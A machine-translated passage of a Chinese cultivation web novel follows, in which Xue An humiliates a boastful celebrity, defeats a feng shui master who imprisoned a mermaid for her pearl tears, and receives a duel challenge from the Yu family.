    This island is not too close to the shore. If you are a yacht, you have to travel for two days.


    this moment.


    The yacht is still driving on the sea.


    No matter how beautiful the scenery is, it will be tired if you watch too much, especially the endless sea, it is easy to make people tired.


    For example, now, two little girls lie in the cabin to watch cartoons.


    Xue An stood on the bow, looking at the sea.


    Fan Mengxue and Tang Xuan''er accompanied them.


    Tang Xuan''er is the provincial capital where he came to the hospital on vacation.


    Xue An took her out to relax.


    As for Fan Mengxue...


    Now her fame is more than twice as big as before, and there are so many advertisements for commercial endorsements.


    Here I want to mention that when Fan Mengxue was banned by the Xie family, those merchants who were too impatient to withdraw from the contract are now crying.


    But Fan Mengxue doesn''t care about these.


    After knowing that Xue An was going to sea to play, Fan Mengxue immediately pushed all the work off.


    As for An Qing, it seemed that the Phoenix unit she was in had a mission and called her away.


    This sea area is still very prosperous.


    You can see ships passing by from time to time.


    The three are chatting.


    A luxurious yacht came slowly, and a man stood on the bow, shouting loudly.


    "Mengxue! Is it Mengxue?"


    Fan Mengxue heard her voice a little familiar, and couldn''t help looking up.


    I saw the man standing on the bow of the ship, wearing a white suit. Although he was a little far away, he couldn''t see his face, but he seemed to have seen it by his actions.


    Fan Mengxue frowned.


    Xue An smiled slightly, "You know?"


    "It seems to be, but I don''t have much impression."


    While ���� was talking, the yacht on the opposite side slowly approached.


    "Mengxue! It''s a wonderful fate to be able to see you above the sea!" The man said with a mouthful of white teeth and smiled.


    Fan Mengxue only then recognized who the person is.


    turned out to be a male celebrity who was also in the entertainment industry, named Xiao Chu.


    Fan Mengxue once collaborated with him in an advertisement, and then I met him.


    But it can only be said to be a nodding acquaintance.


    Fan Mengxue nodded slightly, "It turned out to be Teacher Xiao."


    Xiao Chu smiled and said: "What is your name, teacher? I''m a few years older than you. Just call my brother. You can wait a moment and I will go over!"


    said without waiting for a reply, he ordered someone very familiar to set up the ladder and walked over.


    When he got closer, Xiao Chu''s eyes lit up again after seeing Tang Xuan''er.


    Just now, his attention was all on Fan Mengxue, and he didn''t even notice that there was such a beautiful **** the side.


    "What a beautiful day, I can actually see such a beautiful girl in the ocean!" Xiao Chu smiled handsomely.


    It''s just that his attitudes are useless to Tang Xuan''er. Tang Xuan''er was expressionless, turned around and went back to the cabin.


    This one didn''t feel embarrassed either, and in a blink of an eye he looked at Fan Mengxue with fiery eyes.


    "Mengxue, I heard that a movie you starred in recently is selling well, congratulations!"


    Fan Mengxue was slightly disdainful when she heard this.


    When he was banned, everyone in the circle knew, and he didn''t say a word.


    When the movie trailer came out, he didn''t say a word.


    even when public opinion is extremely unfavorable to Fan Mengxue.


    This man hides far away.


    Now that the limelight is over, and when his own movie is hot, this person is very warm congratulations.


    can see how his character is.


    Thinking in her heart, Fan Mengxue couldn''t help but with a trace of impatient expression on her face, nodded and said, "Thank you!"


    Xiao Chu could see clearly, a gloomy flash in his eyes.


    But he covered it up very well, still with an enthusiastic smile on his face.


    "This is..." Xiao Chu couldn''t help asking when he saw Xue An standing aside.


    At the same time, his eyes are still fierce.


    Ha ha!


    Fan Mengxue, who is known as the most icy and cleanest in the entertainment industry, will secretly go out to sea with the rich second generation?


    If this news broke out, I don��t know what it would be like.


    Xiao Chu thought to himself.


    Xue An frowned slightly.


    This man has bad intentions.


    But immediately, he smiled faintly: "I am the captain of this yacht."


    "Oh!" Xiao Chu responded disapprovingly.


    Then he didn''t even look at Xue An.


    Since it��s not a big or young, that��s not bad. Wouldn��t it be better to be with two beautiful girls above the vast sea?


    Thinking of this, Xiao Chu''s smile became brighter.


    "Mengxue, where are you going?"


    Fan Mengxue is very tired of this person''s self-acquaintance, does he have such a good relationship with you?


    You take a bite of dream snow?


    was about to have an attack, but Xue An winked at her.


    Fan Mengxue was taken aback.


    What does this mean?


    Xiao Chu didn''t notice this, and said with a smug expression: "This time I was invited to participate in the opening ceremony of a newly developed island resort in Qinjia, the provincial capital!"


    When talking about the Qin Family, the provincial capital, Xiao Chu said loudly as if to show off.


    "Mengxue, why don''t you go with me, just to see the excitement!"


    Fan Mengxue hasn''t said anything, but Xue An said indifferently: "Yes, we can just open our eyes!"


    Xiao Chu glanced at Xue An, and said that this person could speak.


    Fan Mengxue didn''t know what Xue An was going to do, so she nodded.


    Xiao Chu couldn''t help but get excited Hey, if you can take this opportunity to take this famous lady in the entertainment circle, it will be of great benefit to your future development.


    At this time, the islands in the distance can already be seen.


    "Mengxue, do you know the Qin family in this provincial capital?"


    Fan Mengxue shook his head, "I don''t know!"


    "Hey, so are you, haven''t you heard of it?"


    "What did you hear?"


    "Who doesn''t know now, the original overlord of the provincial capital, the Xie family, has fallen, and the man behind the scenes is the Qin family. To say that the Qin family is also powerful, and it was successfully taken over from Beijiang to the provincial capital! Xiao Chu sighed a few times, then lowered his voice.


    "And have you heard? A big man named Mr. Xue is helping the Qin family! Otherwise, it won''t go so smoothly!"


    Fan Mengxue smiled, then shook his head, "I really don''t know!"


    And Xue An also smiled at this moment: "This Mr. Xue you mentioned...is that powerful?"


    "What do you know?" Xiao Chu sneered at Xue An a few times.


    "Tell you, I know this Mr. Xue!"


    "Oh? Really?" Xue An smiled lightly, "Then what Mr. Xue... looks like?"


    "Huh, this man is more than two meters tall, and he can knock down a wall with one fist, and he can eat ten people''s food for a meal!" Xiao Chu said smugly.


    "So amazing?" Xue An blinked.


    "Of course it is so powerful. If not, do you think that so many rich people in the provincial capital would be so honest and obedient? I heard that Mr. Xue served all the rich people in the provincial capital alone!" Xiao Chu said.


    Xue An smiled slightly, "In that case, it''s really amazing."

 Chapter 110： I am

    Xiao Chu continued: "I had a lot of things to be busy at first, but this time I was invited, but Miss Qin''s family, so I pushed all the work and came here!"


    Then Xiao Chu smiled at Fan Mengxue, "At that time, I will introduce you and get to know Miss Qin Family. It will be of great benefit to your future development!"


    Fan Mengxue nodded helplessly, "Then...Thank you!"


    "Hey, why are you still standing here? Go sailing!" Xiao Chu glared at Xue An.


    He treats these service staff, but he has never looked good.


    But Xue An was not angry, but smiled slightly, "You don''t need to drive it, because it''s already here!"


    Sure enough, the island is already in sight at this moment, and you can already see a dozen beautiful buildings on this beautiful island.


    And there are still lights and festoons on the dock, as if preparing to welcome some important person.


    Xiao Chu said triumphantly, "This Qin family eldest lady is so polite, she also prepared such a grand welcome ceremony!"


    Then he smiled at Fan Mengxue, "Have you seen it? This is the resort of the Qin family. How much money must be invested for it on such a large scale! It shows how strong this Qin family is!"


    Fan Mengxue looked still.


    The yacht slowly approached the pier.


    At this time, you can see many people standing on the pier.


    These people are basically the wealthy people in the provincial capital.


    The one at the front is Qin Yu, and behind her are Feng Chaocao and Shi Hao.


    Such a lineup made Xiao Chu feel a little overwhelmed.


    Does it seem that he is still quite famous!


    At least so many rich and powerful people can greet themselves at the dock honestly.


    Waiting for the yacht to land, Xiao Chu walked down the covered bridge enthusiastically and waved at these people.


    "Everyone has worked hard, here I am!"


    No one said anything.


    No one even glanced at Xiao Chu.


    as if he was air.


    Such a scene makes Xiao Chu a little baffling.


    what happened?


    Didn��t you hear it?


    "This must be Miss Qin, that''s so polite, I have been waiting at the dock for a long time, let''s go, let''s go back!" Xiao Chu said to Qin Yu with a smile on his face.


    Qin Yu didn''t even look at him, but looked behind him.


    Xiao Chu is a little puzzled, what can be behind?


    While thinking, Xiao Chu turned and looked around.


    Seeing Xue An in front at this time, Fan Mengxue and Tang Xuan''er led the two little girls behind, and slowly walked down the bridge.


    At the same time, these people, who were originally wood-carved clay sculptures, walked a few steps together, and then bowed and saluted.


    then shouted in unison: "I have seen Mr. Xue!"


    The sound shook the four wilds.


    Xiao Chu was stunned.


    What have you seen?


    Mr. Xue?


    Which is Mr. Xue?


    At this moment, Qin Yu took a few steps and said with a smile on his face: "Mr. Xue, we were going to send a helicopter to pick you up, but I heard that you have already taken a boat out to sea, so I will do it in these two days. With everyone waiting on the dock."


    Xue An faintly smiled, "I want to take Missing and Niannian out to play."


    "Understand, Mr. Xue, please!" Qin Yu stepped aside respectfully.


    Not only her, everyone else dodges the road together, and then slightly bent over, with a very respectful attitude.


    This scene made Xiao Chu completely silly.


    The brain is even down.


    This person... is that Mr. Xue?


    At this moment, Xue An turned to look at Xiao Chu, and smiled slightly, "Didn''t you say you know Mr. Xue? I am!"


    Xiao Chu was trembling all over, his teeth rattled.


    I boasted on the boat, but I didn��t expect that the real Mr. Xue was right in front of my eyes!


    "But I am not two meters tall, and I can''t eat the amount of ten people at the same time, but there is one thing you are right!"


    Xue Ansen smiled, "I can indeed crush the wall with one punch."


    Xiao Chu trembled all over, and felt a urge to urinate, and almost was frightened to urinate, and then forced a smile: "Xue...Mr. Xue...I really don''t know it is you! If there is any offense...I ...."


    At this time Qin Yu noticed something strange, and stepped forward a few steps: "Mr. Xue, what''s the matter?"


    "It''s nothing, I just met this guy on the road, and then he got on my boat and said some messy things." Xue An said lightly.


    then left with everyone.


    For Xue An, such a person has no desire to deal with it!


    And Qin Yu frowned, stepped forward, staring at Xiao Chu and said: "Who asked you to come?"


    Xiao Chu trembling, "It''s... it''s..."


    At this time, the Black King walked out and said embarrassingly: "Miss, I have met this person a few times. After he learned the news, he kept begging me and I let him come!"


    Qin Yu nodded coldly, "Then let him go!"


    After speaking, he turned around and went after Xue An and the others.


    Xiao Chu wants to cry without tears at this moment.


    He wanted to take this opportunity to get to know a few powerful people. If he could get to know the Qin family, it would be better.


    Unexpectedly, because of his low-mouthedness, he offended a big person that he couldn''t afford.


    At this time, the black king said with a calm face: "Get out of here! And I advise you..."


    "This provincial capital... don''t stay here anymore!"


    Xiao Chu trembled all over, then didn''t dare to say anything, and hurriedly left in disgrace. UU reading www. uukanshu.com


    At this time, Xue An was accompanied by everyone outside the resort.


    This place has beautiful scenery and pleasant weather.


    This resort is even more beautifully constructed, and it really is a treasure.


    But after seeing this resort, Xue An frowned slightly involuntarily.


    After walking inside, you can see various ingenious decorations and designs everywhere.


    It can be seen that Xie��s family was bothered with this resort.


    But Xue An''s face was sinking, and there was no sound.


    He is like this, and the people following him dare not speak anymore.


    When he walked to the center of the resort, a gray-haired old man was standing by the road with his hands hanging down. When Xue An and the others came, he greeted him.


    "Mr. Xue, this is the designer of the resort, and he is also the heir of the Ming family of Haigang, Master Ming Yuanming!" Qin Yu emphatically introduced.


    Haigang Mingjia?


    Hearing this name, Xue An''s eyes moved slightly, and then he returned to normal.


    There are countless feng shui techniques in the world, and there are many masters, but it is necessary to say who the master is.


    That must be the first Haigang Mingjia!


    Since the Song Dynasty, this family has been studying Feng Shui and Mathematics, and it has lasted for thousands of years.


    So in China, especially in the southern part of the seaport, as long as it is a major project, there will be people from the Ming family who will survey Fengshui.


    And this resort is actually from the Ming family, which shows that the Xie family also valued this resort very much.


    At this moment, the Master Ming Yuanming smiled at Qin Yu, "Miss Qin is utterly praised, I am just a dead old man in the Ming family, and judging by his extraordinary temperament, he must be the well-known Mr. Xue?"

 Chapter 111： Guanhaitai

    The Ming master speaks eloquently, but his tolerance and response are impeccable, showing everyone''s demeanor.


    Xue An glanced at Ming Yuan indifferently, then nodded slightly, "As expected, he is a well-known Ming family boy, it is a good method!"


    The ambiguous statement made Qin Yu feel a little surprised.


    Shi Hao and Feng Chaocao, who followed behind, also glanced at each other, then bowed their heads and stopped talking.


    Mingyuan''s expression has not changed at all, and he smiled slightly and said: "Mr. Xue is ridiculously praised, and now who knows the news that Mr. Xue has overcome the heroes and reached the top of the provincial capital, the hero is indeed the young man! The old admiration!


    Xue An nodded noncommittal, then pointed to the tallest building in the distance.


    "What is here?"


    "Mr. Xue, this is the highest location of the resort, called Guanhaitai! You can go to see the old man!" Mingyuan laughed.


    Xue An smiled faintly, "Okay! Then go and see!"


    Everyone followed Mingyuan and boarded this viewing platform.


    is located in the center of the island, and it is also the commanding height of the entire island. Standing on it, the surrounding scenery has a panoramic view. With the sea and sky in the distance, it is really beautiful.


    "It really deserves to be written by the Ming family, this scenery is so beautiful!" Someone exclaimed.


    Mingyuan smiled quite contentedly, "This view of the sea is the core of the entire resort, and any high-end banquets can be held here in the future."


    said, a waiter came up with drinks and various foods.


    After a while, this observatory was set up as a high-end clubhouse.


    After these giants were invited to the island here, they were a little awkward.


    No one knows what medicine is sold in Qin''s gourd.


    Especially this Mr. Xue, his shots are extremely fierce. What if he calls people like himself and catches them all at once?


    But looking at the current situation, it seems that worrying is a little redundant.


    For example, Xue An, who is now standing by the viewing platform with a glass of red wine, seems to be looking at the sea in the distance.


    The atmosphere gradually became active.


    Beautiful scenery, sea breeze, these combination, let these big and young people gradually relax, and then talk and laugh together in groups.


    "Xue...Mr. Xue, I...I toast you a glass!"


    At this time, a timid voice sounded behind Xue An.


    Xue An turned around and saw that she was an eighteen or nine-year-old girl, she looked good, and looking at her costume, she should be the daughter of a wealthy family.


    But when facing Xue An, the girl stammered, and her words were uncomfortable.


    Xue An smiled, raised his glass slightly, and took a sip.


    The girl drank with excitement, and then ran away excitedly.


    After a while, I heard the laughter of the girls from a distance.


    Qin Yu chuckled: "Mr. Xue, it seems that you are very popular now!"


    As Qin Yu said, Xue An is now very famous among the wealthy circles of the provincial capital.


    But when the men heard Xue An''s name, they were all terrified and afraid.


    And the girls, especially these wealthy daughters, have a strong curiosity about Xue An.


    A young man, with his own power, overwhelmed a city of giants.


    This in itself is legendary enough.


    And when these wealthy daughters saw Xue An today, they were all shocked.


    I didn''t expect this Mr. Xue to be so young and handsome.


    This can''t help but make many girls be moved by it.


    But when I want to return, no one dared to come forward to have a conversation.


    So these girls started betting, and if they lost, they went to toast.


    In the end, the girl lost, and then she mustered up the courage to come forward and offer Xue An a cup.


    I didn''t expect Xue An to be very gentle, and he even responded with a cup.


    After this made the girl go back, she was envied by her companions.


    Xue An just smiled slightly at this, and didn''t take it seriously.


    He is frantically improving his cultivation every day, in order to get his wife back as soon as possible.


    As for the other...


    Xue An never thought about it.


    At this time, the atmosphere of the banquet reached a climax.


    Mingyuan walked to the high platform in the middle and said with a smile: "Today the rich and powerful people of the provincial capital are gathered here, and they are all well-informed people. It just happens that there is a treasure for the old, let everyone take a look!"


    Speaking, Ming Yuan took out a string of necklaces from the bag he carried with him.


    This is a string of pearl necklaces. Under the moonlight, these pearls exude a cold brilliance, so beautiful that people dare not breathe loudly.


    The audience was quiet.


    Especially the women, they all looked crazy.


    No woman can resist the temptation of jewelry.


    Qin Yu gave a slight shock, and then lost his voice: "Is it Dongzhu?"


    Mingyuan smiled, "Miss Qin really has a lot of knowledge, this is the rare Dongzhu!"


    Dongju!


    A kind of extremely rare jewelry.


    is only produced in this sea area, but it has been extinct for many years because of the subsequent abuse.


    Any east pearl is very valuable, let alone such a pearl necklace.


    Mingyuan smiled at everyone in the audience at the moment: "I sold this pearl today, who wants it?"


    When ���� fell to the ground, everyone was boiling.


    "I pay 10 million!"


    "Twenty million!"


    "Twenty-five million!"


    These people are bound to win this east bead necklace.


    Anyone who can enter here is worth hundreds of millions.


    So the price quickly started to soar.


    Mingyuan has a trace of pride in his eyes.


    And when the price has reached more than 90 million, Xue An suddenly said faintly: "I''ll pay a dollar!"


    As soon as this phrase came out the audience was quiet.


    Many people frowned slightly, thinking that Xue An was going to use force to overwhelm others and seize this necklace.


    Mingyuan didn''t change his face, but chuckled, "Mr. Xue, is he drinking too much? Any one of this Dongzhu necklace is a treasure, one dollar..."


    Xue An put down the wine glass in the water and walked onto the stage with a calm expression.


    Everyone dodges the road one after another.


    Mingyuan''s face also gradually sank.


    Waiting on stage, Xue Anman casually took the necklace in his hand, and after playing with it for a while, he couldn''t help sighing.


    "It really is a treasure in the world!"


    Mingyuan smiled, but his smile solidified in the next second.


    "It''s just a pity... but the path is wrong!"


    As soon as I said this, many people changed their expressions.


    Is wrong?


    What does ���� mean?


    Could this necklace be snatched by Ming Yuan?


    Mingyuan sneered, "Mr. Xue, you have to have evidence for what you said. It is very taboo to say that someone else��s stuff comes from the right way!"


    Many people nodded secretly.


    Some people were a little dissatisfied with Xue An at first, so they couldn''t help but move.


    Haigang Mingjia is a giant in the world.


    If this Mingyuan wants to attack Xue An in public, it is estimated that Xue An��s power will be damaged.


    When everyone in the audience is thinking about it.


    Xue An smiled faintly, pressed his fingers and snapped.


    An Dongzhu shattered.


    This time the audience was shocked.


    And Xue An said coldly: "How did you get it, you know best in your heart, such as what you suppressed with Feng Shui under the Guanhai Platform? Am I right? Master Ming?"

 Chapter 112： Siren Song

    Mingyuan''s color changed suddenly, and his eyes were full of horror.


    "you you����."


    "How do I know, right?" Xue An smiled lightly.


    then stretched out his hand and pointed at the sea ahead.


    "This island has a good feng shui, but here is a feng shui jedi. Don''t mention your Ming family, even if you are a geoman, it is impossible to build Guanhaitai here, but you alone did it."


    "Therefore, there must be some unknown secrets in this observatory of the sea! Let me guess, such as... sea eye?" Xue An said coldly.


    Xue An''s words changed Mingyuan''s expression one after another.


    Everyone was even more surprised.


    After a while, Ming Yuan sighed, "Unexpectedly, at a young age, Mr. Xue is so proficient in Feng Shui and mathematics in addition to his cultivation."


    Xue An listened blankly.


    "You are right, this sea-viewing platform is indeed the sea eye!" Ming Yuan said faintly, but a sardonic smile appeared on his face.


    "I didn''t think about taking you anymore. After all, I still have to rely on this resort as a cover, but now that you have exposed it, then I won''t hide it anymore! But you..."


    A sullen look flashed in Mingyuan''s eyes, "No one can leave today!"


    With the voice, the black water mist rose from the ground and enveloped everyone in it.


    Mingyuan grinned and said: "I didn''t want to do it so absolutely, but now that you know my secret, don''t blame me, all be my puppets!"


    said, a low female voice faintly sang from underground.


    The sound was very small at first, but gradually, the voice became louder and clearer.


    Many people''s eyes gradually became dull.


    Mingyuan smiled triumphantly: "Xue An, I admit that it is really good to be able to achieve such a cultivation base at your age, but this is not something that can be resisted by martial arts cultivation. This is..."


    "Song of the Sea-Monster! I thought it was something amazing." Xue An said lightly.


    Mingyuan was taken aback, "How is it possible...how can you know the Kraken? Who are you?"


    Xue An raised his hand and smiled slightly, "Me? I...this is Xue An!"


    With the voice, a white flame appeared in the heart of Xue An''s hand.


    As soon as the flames appeared, the black fog quickly melted like ice and snow seeing the sun.


    As soon as the black fog disappeared, everyone immediately regained consciousness.


    Qin Yu shouted angrily, "Okay, you old thief, if the Ming family acts like this, aren''t they afraid of causing anger?"


    Not only Qin Yu was angry, but everyone present was surprisingly angry.


    This Mingyuan actually wants to turn everyone into a puppet, which is the most unacceptable for these wealthy children who are usually aloof.


    There are many others who secretly look at Xue An with rejoicing. If it weren''t for Mr. Xue''s timely action, everyone would not be spared now.


    Mingyuan��s complexion changed a few moments, and finally gradually became gloomy, "I underestimated you, can you be done for this? Do you know why I chose to let you board the Observatory today?"


    Mingyuan looked up at the sky and sneered: "Because today... but the night of the full moon!"


    Everyone looked up, and sure enough, a bright moon hung in the middle of the sky, the moonlight was like silver gauze, covering the world and everything.


    "Feng Shui Secret Store, Kai!" Ming Yuan gave a soft cry.


    A silver line appeared on the observatory, and formed a complicated pattern, which enveloped everyone in it.


    At the same time, a beautiful figure gradually appeared in front of everyone.


    The upper body is a human body, and the lower body is a fish.


    But even so, it can''t harm the slightest beauty of this woman.


    Mingyuan looked at the mermaid and sneered, "Kill them all!"


    There was a trace of struggle on the mermaid''s face, but in the end she lowered her head helplessly.


    A burst of illusory singing gradually sounded, this time the voice was exceptionally clear, and no matter whether you were blocking your ears or whatever, you could not stop the voice from entering your brain.


    When everyone was horrified.


    Xue An sighed slightly, "You really deserve to die!"


    The tone was indifferent, but it was like a Sanskrit sound, and instantly suppressed the chant of the sea monster.


    Mingyuan finally changed color.


    Xue An took a step, "If you harm people with Feng Shui, you broke the first rule!"


    "Hide evil intentions, borrow worldly rights to satisfy selfish desires! You broke the second rule!" Xue An took the second step.


    "Relying on Feng Shui mystery to imprison the uncontested Sea-Monster for your profit, this is your third bad rule!"


    Xue An stood on the court, standing with his hand held down, and said in a calm tone: "The three rules are all opposite, Mingyuan, can you convict?"


    Ming Yuan smiled proudly: "Xue An, it''s useless to say that nonsense. This Feng Shui secret town is an ancient heritage that I got accidentally. No one in the world can solve it. If there is no way to solve it, even Da Luo Jinxian will have to die here. You and these people are dead!"


    Everyone''s faces instantly turned pale as paper.


    Some people don''t believe in evil, thinking about going out, but they can''t touch the silver threads at all.


    Mingyuan chuckled. In his eyes, Xue An and others were already dead.


    But at this moment, Xue An smiled.


    "Did I say I want to crack it?"


    Then Xue An raised his eyes and looked at Ming Yuan and said, "Any technique, in front of absolute power is a joke! You don''t understand this truth!"


    said, Xue An suddenly stamped his foot.


    This sea-viewing platform, this island, and even the entire expanse of the ocean, are under this foot, making a sensation!


    And these feng shui secret arrays made of silver thread disintegrated in an instant.


    Mingyuan was full of amazement and despair, "No, this can''t be..., this is ancient..."


    There is no chance to say the following words, because the backlash from the broken circle has swallowed him.


    In an instant, this Ming family Fengshui master rapidly aged from the gray-haired old man.


    Soon, he became a skeleton and disappeared with the wind.


    Everyone let out a sigh of relief.


    There was a cry of cry, and all eyes were drawn.


    I saw the mermaid crying.


    The tears left behind are actually huge east beads.


    Everyone realized that the Dongzhu sold by Mingyuan came from.


    This also shocked many people.


    All the tears left by this sea monster are Dongzhu, it is simply a money printing machine!


    No wonder Mingyuan worked so hard to suppress it.


    At this time, Xue Xiang and Xue Nian came over.


    When they were fighting, Xue An blocked both of them with secret methods.


    He doesn''t want his two baby daughters to be hurt at all.


    "Dad, is this sister mermaid?"


    Xue An nodded and chuckled, "Yes!"


    "Why does the mermaid sister cry?"


    "Because... she is homesick!" Xue An said lightly.


    The mermaid shook all over, raised a pair of beautiful eyes to look at Xue An, then opened her lips lightly, "The fairy save me!"

 Chapter 113： The mountains and the sea do not save you, I will save you!

    At this time, Xue Nian, the little girl, had already moved up curiously, and then picked up an Dongzhu from the ground.


    "What is this? Can it be eaten? Is it delicious?" Xue Nian asked.


    This is a three-time questioning exclusively for Xue Nian.


    Xue An couldn''t help but laughed, "Silly Nian''er, that''s mermaid tears!"


    Xue Nian was taken aback, then picked up all the Dongzhu on the ground and walked to the mermaid.


    "Mermaid sister, these are your tears, don''t cry anymore!"


    The sea monster trembled all over, and a very complicated expression appeared on the beautiful cheeks.


    Since ancient times, their siren clan has been hunted down by human cultivators.


    is to get their tears.


    Just like what Mingyuan did, everyone��s first reaction when they saw them was possession.


    This little girl alone has a heart of gold.


    The Sea Monster��s hands are normal, so he stretched out his hand to take Dong Joo, and trembled: "Thank you!"


    Xue Nian blinked his big dark eyes, "Sister, what''s so good about this? This is yours originally!"


    The sentence ���� shocked many people.


    To be honest, if it weren''t for Xue An''s presence.


    Someone could not help but step forward to surrender this sea monster.


    Because this is a mobile treasury.


    But Xue Nian taught everyone a lesson.


    can''t help making many people feel embarrassed.


    "Dad, sister mermaid is so pitiful! You can help her!" Xue Xiang also said at this time.


    Xue An smiled lightly, "Okay! Then today, I will take it home!"


    After that, Xue An raised his head and looked at the sea monster, and said in a deep voice, "I saved you today because you never hurt anyone. If you make trouble in the future, do you understand the consequences?"


    The sea monster trembled, then respectfully bowed his head and said: "Master, don''t worry, the little monster understands!"


    "Go down!" Xue An ordered.


    Everyone went down to the observatory, hiding in the distance to watch.


    Xue An stood by the observatory, looked up at the moonlight, and then punched out.


    This extremely solid sea-viewing platform made a creaking sound, and then under this punch, it disintegrated silently.


    The sea breeze blew by, and the tower that had just stood upright disappeared without a trace.


    It''s as if this high platform has never appeared here.


    Many people were dumbfounded.


    this moment.


    Under the sea platform, there is a bottomless sea eye, exuding an extremely cold atmosphere.


    A scarred mermaid tied with several chains is hanging above the sea eye.


    Xue An''s eyes were cold.


    He knew that this was the real body of the Sea-Monster. The one that just appeared on the high platform was nothing more than a virtual image of the Sea-Monster''s mental power.


    This Mingyuan is so cruel.


    borrowed the power of the sea eye to suppress this sea monster.


    If Xue An hadn''t found out, then this sea monster would never stand up.


    And now Xue An can''t break the chain directly, because the sea eye is connected to the chain.


    The power of the eyes of the vast ocean is not just for fun.


    Seems to know that things are difficult, the sea monster gradually opened his eyes, and nodded weakly at Xue An.


    "Master, if you can''t save me, then kill me!"


    While ���� was talking, flesh and blood was still falling on the cheek of this Kraken.


    Obviously, he was seriously injured.


    The two little girls, Xue Xiang and Xue Nian, were distressed and crying.


    More people sighed slightly.


    They all felt that Mr. Xue had done his best.


    But this is not something you can do with your best effort!


    "Master, I can''t thank you enough for killing that wicked person. If it''s difficult, don''t take the risk! The little demon is willing to die to get rid of it!" The sea monster''s voice became weaker and weaker.


    This is where the power of the sea eye is eroding her.


    Xue Xiang and Xue Nian looked at their father anxiously.


    Everyone''s eyes also focused on Xue An.


    Xue An lowered his eyes, the expression on his face looked like a smile.


    "The sea monster was trapped by the sea!"


    Xue An said, raising his head and looking at the dying sea monster.


    "Today I will save you, the mountains and the sea will not save you, I will save you!"


    said, Xue An gave a soft drink, "Borrow billions of stars!"


    Countless stars projected from above the sky and began to condense in Xue An''s palm.


    Gradually, a group of brilliance that seemed to be filled with countless stars appeared in Xue An''s hands.


    This wonderful scene made everyone in the distance look silly.


    Is Mr. Xue really a god?


    Many people have this idea suddenly.


    At this moment, Xue An suddenly dropped the light ball in his hand.


    A dazzling star flashed.


    The endless power of the stars completely shattered this sea eye.


    The huge waves rise.


    Xue An sneered, "It''s a mere sea, dare to be presumptuous in front of me!"


    said, Xue An flicked his finger.


    The huge waves quickly disappeared as if they had seen something terrifying.


    The sea was calm again.


    And the Kraken has been rescued on the shore.


    But because I was suppressed for too long, I was weak and couldn''t stand up for a while. I could only look at Xue An with grateful eyes and whispered, "Thank you, Master Xian, for saving me!"


    Xue An looked at the sea monster, then threw a pill over, "Take it!"


    Kraken respectfully took it over and swallowed it.


    After a while.


    The injuries on the Kraken''s body began to heal rapidly.


    in a blink.


    Those numerous scars have recovered.


    And at this moment, this sea monster has transformed its legs, and is wearing a light gauze, like a fairy left in the world, so beautiful that people can''t move their eyes.


    The sea monster girl bowed to Xue Anyingying.


    "The little demon Jiang Meier has seen the fairy teacher, the fairy teacher is so kind and unforgettable!"


    Xue An nodded slightly, and said nothing.


    I did save her, so she knelt down and thanked her as it should be.


    And look at the dress of this Kraken.......


    doesn''t seem to be a normal sea monster!


    The most important thing is the last name!


    The surname of the monster clan is extremely precious, and it is impossible for ordinary little monsters to have it.


    At this time, Xue Xiang and Xue Nian joined together.


    "Sister, where''s your tail?" Xue Xiang asked curiously.


    The sea monster girl smiled, "My tail is put away!"


    "It''s amazing! Can you put it away?" Xue Nian said in surprise.


    "Yes! Now, sister, let''s give you something!" As she said, the siren girl solemnly took out three beads with red halo.


    This is different from the Dongzhu turned into tears, but the sea monster is transformed with its own blood, which is extremely precious.


    But the two little girls don��t understand these, they just think they��re so pretty!


    "Dad, do you look good?" The two little girls took the beads back and asked excitedly.


    "Yeah, it''s beautiful!" Xue An couldn''t help but move when he saw these three blood beads.


    A sea monster can only condense three or five blood beads in its lifetime.


    Now this banshee is actually three as a gift.


    What a big handwriting!

 Chapter 114： Yu Family Shechem Talisman!

    And at this moment, the sea that had calmed down once again set off a stormy sea.


    Many people backed away in horror.


    Jiang Meier smiled sweetly, "Don''t be afraid, everyone, this is my tribe to pick me up!"


    As expected.


    I saw several Krakens standing on the waves in the distance.


    But these sea monsters were all guarded and didn''t approach the shore.


    At this time, Jiang Mei''er came to Xue An and bowed to salute.


    "Master Xianshi, my life-saving grace, the little demon dare not forget! I will repay it in the future!"


    Xue An gave a noncommittal smile.


    He did these things without thinking of anything in return.


    But Jiang Mei''er looked solemnly, and took a few steps forward, leaning in front of Xue An, and whispering an ancient obscure words.


    Xue An was startled slightly, and then smiled.


    It seems that I really saved a big man!


    actually has a real name.


    The so-called real name is something that only the nobles among the demons have, and it comes from their blood heritage.


    The more noble the blood, the more prominent the real name!


    And the real name of each Yaozu is unique.


    As long as you know their real names, you have mastered their fate.


    Therefore, each Yaozu regards their real name as the most important secret, and will never tell others easily.


    Now this sea monster has told Xue An his real name.


    It can be seen that she is indeed very grateful for Xue An''s rescue.


    Jiang Meier transformed into a half-man, half-fish again, and after entering the sea, all the sea monsters who greeted her crowded over.


    Jiang Mei''er stood above the tide head and gave a last salute to Xue An, then sank into the sea and disappeared.


    The wind is calm.


    Everything is over.


    Many people are still reminiscing about what has just happened.


    From the beginning, Mingyuan��s hidden evil intentions, to Xue An��s rescue from behind, until finally Xue An rescued the trapped sea monster.


    These are like plot stories in movies, and many people still feel like they are in a dream.


    But after this incident, Xue An''s reputation and power reached its peak.


    These wealthy provincial capitals, no one dares to challenge Xue An''s power.


    Even in my heart, I dare not!


    On the island, Xue An and others stayed for another two days.


    Of those three blood beads, two of them were refined into necklaces by Xue An and then given to his two daughters.


    There is one more, Xue An put it away and kept it for An Yan.


    Just when Xue An was playing with her daughter on the island, a boat slowly drove to the island.


    Tan Dong and Tan Xiaoyu disembarked from the boat, and drove straight to the resort.


    After seeing Xue An, Tan Dong looked solemn, the first sentence was.


    "Mr. Xue, something happened!"


    "Something happened? What happened?"


    Tan Dong took out a delicate little sword from his arms, but after unfolding it, he discovered that it turned out to be a unique post.


    After Xue An took it, he saw it said.


    Yu Qing, the abandoned son of the Yu family, was killed by you. Although he was an abandoned son, he was also of the blood of the Yu family.


    Therefore, ten days later, beside the Qingfeng River, I will come with my sword and cut the Beijiang with my sword!


    wrote at the end, Yu Jia Yu Yang!


    Xue An frowned slightly.


    what is this?


    War Book?


    Tan Dong smiled bitterly: "Mr. Xue, this is the famous Shechem amulet from the Yu family in Lingnan!"


    "Shejian Talisman?"


    "Yes! It is rumored that the Yu family has passed seven Shechem amulets in the past 40 years, without exception, they were given to the famous masters at that time, and the cause is often that these people have offended the Yu family!"


    "In these seven times, no one survived under the sword of the Yu family!" Tan Dong said solemnly.


    This is also why he hurried over after receiving the Shechem Talisman.


    Lingnan Yujia!


    That is the holy land in the minds of the world warriors!


